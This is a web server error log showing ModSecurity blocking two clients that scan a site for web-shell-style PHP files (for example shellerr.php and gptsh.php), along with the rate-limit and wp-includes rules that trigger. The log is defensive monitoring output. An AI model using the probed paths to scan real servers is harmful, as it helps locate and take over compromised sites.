[Mon Mar 23 15:57:08.166193 2026] [:error] [pid 35165:tid 35191] [client 4.223.87.176:51693] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acDyVM6udpN6Esk7JKuGoQAAAZc"]
[Mon Mar 23 15:57:09.035611 2026] [:error] [pid 23539:tid 23559] [client 4.223.87.176:51629] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acDyVX7Dh3qWGSpIAZX5QAAAAMs"]
[Mon Mar 23 15:57:10.107430 2026] [:error] [pid 23440:tid 23499] [client 4.223.87.176:52880] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acDyVj49_8n8h_ttcUodXAAAAFc"]
[Mon Mar 23 15:57:10.658531 2026] [:error] [pid 35165:tid 35179] [client 4.223.87.176:52299] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acDyVs6udpN6Esk7JKuGqgAAAYs"]
[Mon Mar 23 15:57:11.276437 2026] [:error] [pid 35165:tid 35182] [client 4.223.87.176:52339] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acDyV86udpN6Esk7JKuGqwAAAY4"]
[Mon Mar 23 15:57:12.847930 2026] [:error] [pid 35165:tid 35177] [client 4.223.87.176:51585] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acDyWM6udpN6Esk7JKuGtgAAAYk"]
[Mon Mar 23 15:57:13.537340 2026] [:error] [pid 14573:tid 14576] [client 4.223.87.176:52301] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acDyWe-oSmHn3q4_J1F-vgAAAUE"]
[Mon Mar 23 15:57:14.163697 2026] [:error] [pid 14573:tid 14583] [client 4.223.87.176:49472] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cc13.php"] [unique_id "acDyWu-oSmHn3q4_J1F-xQAAAUg"]
[Mon Mar 23 15:57:15.019351 2026] [:error] [pid 14573:tid 14598] [client 4.223.87.176:51051] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cc13.php"] [unique_id "acDyW--oSmHn3q4_J1F-ygAAAVc"]
[Mon Mar 23 15:57:15.673727 2026] [:error] [pid 57265:tid 57275] [client 4.223.87.176:51032] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cc13.php"] [unique_id "acDyW2NLjPJJkhuqCsjfDwAAAQg"]
[Mon Mar 23 15:57:16.504386 2026] [:error] [pid 23539:tid 23568] [client 4.223.87.176:52258] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cc13.php"] [unique_id "acDyXH7Dh3qWGSpIAZX5RgAAANQ"]
[Mon Mar 23 15:57:17.456773 2026] [:error] [pid 35165:tid 35170] [client 4.223.87.176:52893] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acDyXc6udpN6Esk7JKuGwgAAAYI"]
[Mon Mar 23 15:57:18.382910 2026] [:error] [pid 14573:tid 14577] [client 4.223.87.176:51591] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acDyXu-oSmHn3q4_J1F-0gAAAUI"]
[Mon Mar 23 15:57:19.302539 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:52292] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acDyX2NLjPJJkhuqCsjfHgAAARU"]
[Mon Mar 23 15:57:20.474337 2026] [:error] [pid 14573:tid 14581] [client 4.223.87.176:52884] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acDyYO-oSmHn3q4_J1F-3wAAAUY"]
[Mon Mar 23 15:57:21.501579 2026] [:error] [pid 14573:tid 14581] [client 4.223.87.176:51704] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acDyYe-oSmHn3q4_J1F-6gAAAUY"]
[Mon Mar 23 15:57:22.204742 2026] [:error] [pid 14573:tid 14591] [client 4.223.87.176:51640] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acDyYu-oSmHn3q4_J1F-7AAAAVA"]
[Mon Mar 23 15:57:23.663709 2026] [:error] [pid 14573:tid 14577] [client 4.223.87.176:50953] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acDyY--oSmHn3q4_J1F_GAAAAUI"]
[Mon Mar 23 15:57:29.754630 2026] [:error] [pid 57265:tid 57279] [client 4.223.87.176:51708] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acDyaWNLjPJJkhuqCsjfRwAAAQw"]
[Mon Mar 23 15:57:32.259533 2026] [:error] [pid 57265:tid 57270] [client 4.223.87.176:51056] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/save.php"] [unique_id "acDybGNLjPJJkhuqCsjfUAAAAQM"]
[Mon Mar 23 15:57:33.312897 2026] [:error] [pid 35165:tid 35177] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/save.php
[Mon Mar 23 15:57:33.657151 2026] [:error] [pid 35165:tid 35181] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Mon Mar 23 15:57:33.966938 2026] [:error] [pid 35165:tid 35169] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/roter.php
[Mon Mar 23 15:57:34.251869 2026] [:error] [pid 35165:tid 35169] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/shellerr.php
[Mon Mar 23 15:57:34.602986 2026] [:error] [pid 35165:tid 35175] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/aee.php
[Mon Mar 23 15:57:34.894933 2026] [:error] [pid 35165:tid 35172] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/sweg.php
[Mon Mar 23 15:57:35.200518 2026] [:error] [pid 35165:tid 35186] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/phina.php
[Mon Mar 23 15:57:35.501538 2026] [:error] [pid 35165:tid 35187] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/an7.php
[Mon Mar 23 15:57:35.822004 2026] [:error] [pid 35165:tid 35183] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/rovoj.php
[Mon Mar 23 15:57:36.215938 2026] [:error] [pid 35165:tid 35173] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/awh.php
[Mon Mar 23 15:57:36.517481 2026] [:error] [pid 35165:tid 35191] [client 4.223.87.176:51632] File does not exist: /usr/local/apache/htdocs/suspended-page/phpmini.php
[Mon Mar 23 15:57:36.782638 2026] [:error] [pid 35165:tid 35170] [client 4.223.87.176:51632] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "acDycM6udpN6Esk7JKuHFwAAAYI"]
[Mon Mar 23 15:57:37.462545 2026] [:error] [pid 23441:tid 23522] [client 4.223.87.176:52939] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "acDycRq7S-oOqSXZEr6_BQAAAJM"]
[Mon Mar 23 15:57:38.531891 2026] [:error] [pid 23441:tid 23511] [client 4.223.87.176:52224] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "acDychq7S-oOqSXZEr6_BwAAAIg"]
[Mon Mar 23 15:57:40.641183 2026] [:error] [pid 57265:tid 57289] [client 4.223.87.176:52882] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "acDydGNLjPJJkhuqCsjfcAAAARY"]
[Mon Mar 23 15:57:41.337529 2026] [:error] [pid 14573:tid 14576] [client 4.223.87.176:52957] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "acDyde-oSmHn3q4_J1F_QQAAAUE"]
[Mon Mar 23 15:57:42.053158 2026] [:error] [pid 57265:tid 57270] [client 4.223.87.176:52916] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "acDydmNLjPJJkhuqCsjfeAAAAQM"]
[Mon Mar 23 15:57:42.943314 2026] [:error] [pid 23440:tid 23494] [client 4.223.87.176:51623] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "acDydj49_8n8h_ttcUodZAAAAFI"]
[Mon Mar 23 15:57:43.952448 2026] [:error] [pid 14573:tid 14592] [client 4.223.87.176:52904] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "acDyd--oSmHn3q4_J1F_RAAAAVE"]
[Mon Mar 23 15:57:46.266925 2026] [:error] [pid 57265:tid 57274] [client 4.223.87.176:52926] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acDyemNLjPJJkhuqCsjfiwAAAQc"]
[Mon Mar 23 15:57:47.344380 2026] [:error] [pid 23441:tid 23504] [client 4.223.87.176:52955] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acDyexq7S-oOqSXZEr6_DAAAAIE"]
[Mon Mar 23 15:57:48.451917 2026] [:error] [pid 35165:tid 35185] [client 4.223.87.176:52897] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acDyfM6udpN6Esk7JKuHHQAAAZE"]
[Mon Mar 23 15:57:49.319493 2026] [:error] [pid 14573:tid 14595] [client 4.223.87.176:52911] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acDyfe-oSmHn3q4_J1F_TgAAAVQ"]
[Mon Mar 23 15:57:50.939874 2026] [:error] [pid 14573:tid 14593] [client 4.223.87.176:51692] [client 4.223.87.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/app.php"] [unique_id "acDyfu-oSmHn3q4_J1F_VgAAAVI"]
[Mon Mar 23 15:57:51.650424 2026] [:error] [pid 14573:tid 14578] [client 4.223.87.176:52320] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "acDyf--oSmHn3q4_J1F_WQAAAUM"]
[Mon Mar 23 15:57:52.378025 2026] [:error] [pid 23441:tid 23522] [client 4.223.87.176:53625] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "acDygBq7S-oOqSXZEr6_DQAAAJM"]
[Mon Mar 23 15:57:52.965259 2026] [:error] [pid 23539:tid 23559] [client 4.223.87.176:53545] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "acDygH7Dh3qWGSpIAZX5ZAAAAMs"]
[Mon Mar 23 15:57:53.819173 2026] [:error] [pid 57265:tid 57279] [client 4.223.87.176:52929] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/max.php"] [unique_id "acDygWNLjPJJkhuqCsjfmQAAAQw"]
[Mon Mar 23 18:41:53.288669 2026] [:error] [pid 57265:tid 57290] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Mon Mar 23 18:41:54.117025 2026] [:error] [pid 57265:tid 57283] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/xocx.php
[Mon Mar 23 18:41:54.377997 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/zample.php
[Mon Mar 23 18:41:56.490839 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/read.php
[Mon Mar 23 18:41:57.320098 2026] [:error] [pid 57265:tid 57272] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kd4xalrg7m.php
[Mon Mar 23 18:41:57.663909 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Mon Mar 23 18:41:57.926736 2026] [:error] [pid 57265:tid 57267] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Mon Mar 23 18:41:58.186792 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Mon Mar 23 18:41:58.533113 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/1998.php
[Mon Mar 23 18:41:58.787431 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:16783] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mter.php
[Mon Mar 23 18:41:59.038244 2026] [:error] [pid 57265:tid 57273] [client 65.52.65.130:16783] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acEY92NLjPJJkhuqCshH1wAAAQY"]
[Mon Mar 23 18:41:59.925772 2026] [:error] [pid 35165:tid 35182] [client 65.52.65.130:16846] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acEY986udpN6Esk7JKu-LgAAAY4"]
[Mon Mar 23 18:42:00.605041 2026] [:error] [pid 23539:tid 23548] [client 65.52.65.130:16782] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acEY-H7Dh3qWGSpIAZUi3AAAAMA"]
[Mon Mar 23 18:42:01.276559 2026] [:error] [pid 23439:tid 23468] [client 65.52.65.130:16848] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acEY-aZv8XIzUKdgaMeSnQAAABM"]
[Mon Mar 23 18:42:01.943044 2026] [:error] [pid 14573:tid 14575] [client 65.52.65.130:16887] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "acEY-e-oSmHn3q4_J1HOcgAAAUA"]
[Mon Mar 23 18:42:02.452756 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:16772] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "acEY-u-oSmHn3q4_J1HOcwAAAUQ"]
[Mon Mar 23 18:42:03.126688 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:16851] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "acEY---oSmHn3q4_J1HOdQAAAVM"]
[Mon Mar 23 18:42:03.695398 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:16792] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "acEY---oSmHn3q4_J1HOegAAAVY"]
[Mon Mar 23 18:42:04.319654 2026] [:error] [pid 35165:tid 35179] [client 65.52.65.130:16776] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEY_M6udpN6Esk7JKu-MgAAAYs"]
[Mon Mar 23 18:42:04.941698 2026] [:error] [pid 23439:tid 23457] [client 65.52.65.130:16841] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEY_KZv8XIzUKdgaMeSowAAAAg"]
[Mon Mar 23 18:42:05.538487 2026] [:error] [pid 23539:tid 23569] [client 65.52.65.130:16854] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEY_X7Dh3qWGSpIAZUi3wAAANU"]
[Mon Mar 23 18:42:06.291147 2026] [:error] [pid 23441:tid 23522] [client 65.52.65.130:16888] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "acEY_hq7S-oOqSXZEr7ffAAAAJM"]
